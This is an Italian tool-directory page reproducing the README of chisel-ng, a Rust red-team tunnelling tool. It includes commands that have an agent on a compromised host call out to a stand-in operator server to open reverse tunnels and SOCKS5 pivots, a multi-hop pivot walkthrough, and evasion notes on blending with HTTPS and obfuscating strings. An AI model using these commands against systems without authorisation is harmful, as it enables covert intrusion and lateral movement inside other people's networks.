Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
chisel-ng — Chisel nuova generazione, scritto in rust. SSH su WSS con alcune personalizzazioni. | Kitploit
Strumenti/GitHubGitHub/nullsection/chisel-ng
Evasione IDS/IPSMovimento LateralePost-ExploitSicurezza di RetePenetration TestingCommand and ControlRed TeamingStrumento di Accesso Remoto
GitHubnullsection/chisel-ng

chisel-ng

Chisel nuova generazione, scritto in rust. SSH su WSS con alcune personalizzazioni.

Vedi Repository
13696 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
root@kitploit:~
       _     _          _
   ___| |__ (_)___  ___| |      _ __   __ _
  / __| '_ \| / __|/ _ \ |_____| '_ \ / _` |
 | (__| | | | \__ \  __/ |_____| | | | (_| |
  \___|_| |_|_|___/\___|_|     |_| |_|\__, |
                                      |___/

chisel-ng

Rust License Windows Linux

Un'implementazione in Rust di chisel per test di penetrazione e operazioni red team. Stabilisce tunnel inversi su SSH-over-WebSocket-over-TLS, consentendo agli operatori di pivotare attraverso host compromessi mimetizzandosi con il normale traffico HTTPS.


Indice

  • Avvio rapido
  • Funzionalità
  • Architettura
  • Riferimento d'uso
    • Server (operatore)
    • Client inverso (agente)
    • Client bind (agente - modo inbound)
    • Comandi CLI del server
  • Pivot multi-hop
  • Dettagli tecnici
  • Considerazioni OPSEC
  • Disclaimer

Avvio rapido

Requisiti

  • Rust 1.70+ (rustup.rs)

Compilazione

root@kitploit:~
git clone https://github.com/nullsection/chisel-ng
cd chisel-ng
cargo build --release

I binari vengono generati in target/release/: chisel-server, chisel-client, chisel-bind-client

Utilizzo base

1. Avvia il server (operatore):

root@kitploit:~
./chisel-server -p 'secret' -v

2. Esegui il client (target):

root@kitploit:~
./chisel-client -s operator.example.com:8443 -p 'secret' -k

3. Crea tunnel:

root@kitploit:~
chisel-ng> session 1
[session-1] TARGET > tunnel 8080:192.168.1.100:80
[session-1] TARGET > socks5 1080

4. Accedi ai servizi interni:

root@kitploit:~
curl http://127.0.0.1:8080
curl --socks5 127.0.0.1:1080 http://internal.corp/

Funzionalità

  • SSH su WebSocket su TLS – Si mimetizza con il normale traffico HTTPS
  • Autenticazione con chiave precondivisa – Semplice, sicura
  • Inoltro dinamico delle porte – Crea tunnel su richiesta
  • Proxy SOCKS5 – Instradamento dinamico attraverso gli agenti
  • Due modalità client – Inversa (si connette in uscita) e bind (accetta connessioni in entrata)
  • Multi‑piattaforma – Windows e Linux

Architettura

root@kitploit:~
+------------------+              +----------------------------------+
|    Operatore     |              |        Rete target               |
|                  |              |                                  |
| +--------------+ |     SSH      | +--------------+                 |
| |chisel-server |<---------------+-|chisel-client |                 |
| |    :8443     | |   (su TLS)   | |  (inverso)   |                 |
| +--------------+ |              | +--------------+                 |
+------------------+              +----------------------------------+

Stack di protocollo:

root@kitploit:~
TCP -> TLS 1.3 -> WebSocket -> SSH -> Dati del tunnel
                     ^
            appare come HTTPS

Modalità client:

  • Inversa (chisel-client) – Si connette in uscita verso il server
  • Bind (chisel-bind-client) – Ascolta connessioni in entrata; il server usa il comando connect

Riferimento d'uso

Server (operatore)
root@kitploit:~
OPZIONI:
    -l, --listen <ADDR>      Indirizzo di ascolto [default: 0.0.0.0:8443]
    -p, --psk <PSK>          Chiave precondivisa o passphrase [env: CHISEL_PSK]
        --cert <FILE>        Certificato TLS (PEM)
        --key <FILE>         Chiave privata TLS (PEM)
        --generate-psk       Genera un PSK casuale ed esce
    -v, --verbose            Output verboso
Client inverso (agente)
root@kitploit:~
OPZIONI:
    -s, --server <ADDR>      Indirizzo del server (host:porta)
    -p, --psk <PSK>          Chiave precondivisa o passphrase [env: CHISEL_PSK]
    -u, --user <LABEL>       Etichetta della sessione [default: agent]
    -k, --insecure           Salta la verifica TLS
        --no-reconnect       Disabilita la riconnessione automatica
    -i, --interval <SECS>    Intervallo di riconnessione [default: 30]
        --heartbeat <SECS>   Intervallo heartbeat [default: 30]
    -v, --verbose            Output verboso
Client bind (agente - modo inbound)

Per target che possono accettare connessioni in entrata ma non avviare connessioni in uscita:

root@kitploit:~
OPZIONI:
    -l, --listen <ADDR>      Indirizzo di ascolto (es. 0.0.0.0:9000)
    -p, --psk <PSK>          Chiave precondivisa o passphrase [env: CHISEL_PSK]
    -u, --user <LABEL>       Etichetta della sessione [default: agent]
    -k, --insecure           Salta la verifica TLS
        --heartbeat <SECS>   Intervallo heartbeat [default: 30]
    -v, --verbose            Output verboso
Comandi CLI del server

Menu principale:

root@kitploit:~
sessions             Elenca le sessioni connesse
session <id>         Seleziona una sessione
connect <ip:port>    Connetti a un client bind
disconnect <id>      Disconnetti la sessione (si riconnetterà)
kill <id>            Termina il processo client

Menu sessione:

root@kitploit:~
tunnel <locale>:<ip_target>:<porta_target>    Crea un tunnel
tunnel --local <locale>:<target>:<porta>      Crea un tunnel (solo localhost)
tunnel stop <porta>                           Arresta il tunnel
tunnels                                        Elenca i tunnel
socks5 <porta>                                Avvia il proxy SOCKS5
socks5 stop <porta>                           Arresta il proxy SOCKS5
ping                                           Misura la latenza
ps                                             Elenca i processi remoti
netstat                                        Elenca le connessioni remote

Pivot multi-hop

Raggiungi reti isolate concatenando sessioni esistenti.

Scenario: L'host nella DMZ può raggiungere l'operatore. L'host interno (10.0.0.50) può essere raggiunto solo dalla DMZ.

root@kitploit:~
+----------+        +-----------+        +------------+
| Operatore|--SSH---| Sessione 1|--TCP---| Sessione 2 |
| Server   |        |   (DMZ)   |        | (INTERNO)  |
+----------+        +-----------+        +------------+

Passo 1 - Avvia il server (operatore):

root@kitploit:~
./chisel-server -p 'secret' -v

Passo 2 - Esegui il client inverso (host DMZ):

root@kitploit:~
./chisel-client -s operator.example.com:8443 -p 'secret' -k

Passo 3 - Esegui il client bind (host interno a 10.0.0.50):

root@kitploit:~
./chisel-bind-client -l 0.0.0.0:9000 -p 'secret' -k

Passo 4 - Crea un tunnel e connetti (CLI del server):

root@kitploit:~
chisel-ng> session 1
[session-1] DMZ > tunnel --local 9000:10.0.0.50:9000
Tunnel avviato su 127.0.0.1:9000

[session-1] DMZ > back
chisel-ng> connect 127.0.0.1:9000
Sessione 2 registrata

chisel-ng> session 2
[session-2] INTERNO > socks5 1080

Dettagli tecnici

Come funzionano i tunnel

Quando si crea un tunnel (tunnel 8080:192.168.1.100:80):

  1. Il server si lega alla porta locale 8080
  2. Alla connessione, il server invia una richiesta CONNECT all'agente
  3. L'agente si connette al target e apre un canale SSH direct-tcpip
  4. I dati vengono instradati in modo bidirezionale
Come funziona SOCKS5

Destinazioni dinamiche tramite handshake RFC 1928. Restituisce codici di errore appropriati per risultati accurati di scansione delle porte.


Considerazioni OPSEC

Indurimento del binario

Le build di rilascio sono indurite:

  • Funzionamento silenzioso – Tutti i log vengono compilati come no‑op
  • Offuscamento delle stringhe – Le stringhe di protocollo sono XOR‑cifrate in fase di compilazione
  • Rimozione dei simboli – Nessun simbolo di debug o percorso sorgente
  • Ottimizzazione delle dimensioni – ~3 MB contro ~15 MB debug
  • Comportamento in caso di panic – Arresto immediato, nessuna traccia dello stack
Sicurezza operativa
  • Autenticazione PSK – Chiave a 256 bit derivata da passphrase (SHA-256) o hex grezzo
  • Nessun salvataggio delle credenziali – PSK solo tramite argomento o variabile d'ambiente
  • Riconnessione automatica – Abilitata per default, intervallo configurabile
  • Heartbeat – Keepalive configurabile, disabilita con --heartbeat 0
Vettori di rilevamento
  • JA3/JA4 TLS fingerprinting
  • Pattern di upgrade WebSocket
  • Durata della connessione prolungata
  • Intervalli heartbeat costanti

Disclaimer

Questo strumento è destinato esclusivamente a test di sicurezza autorizzati. Ottenere la dovuta autorizzazione prima dell'uso. Gli autori non sono responsabili per un uso improprio.


Licenza

MIT

Scarica lo strumento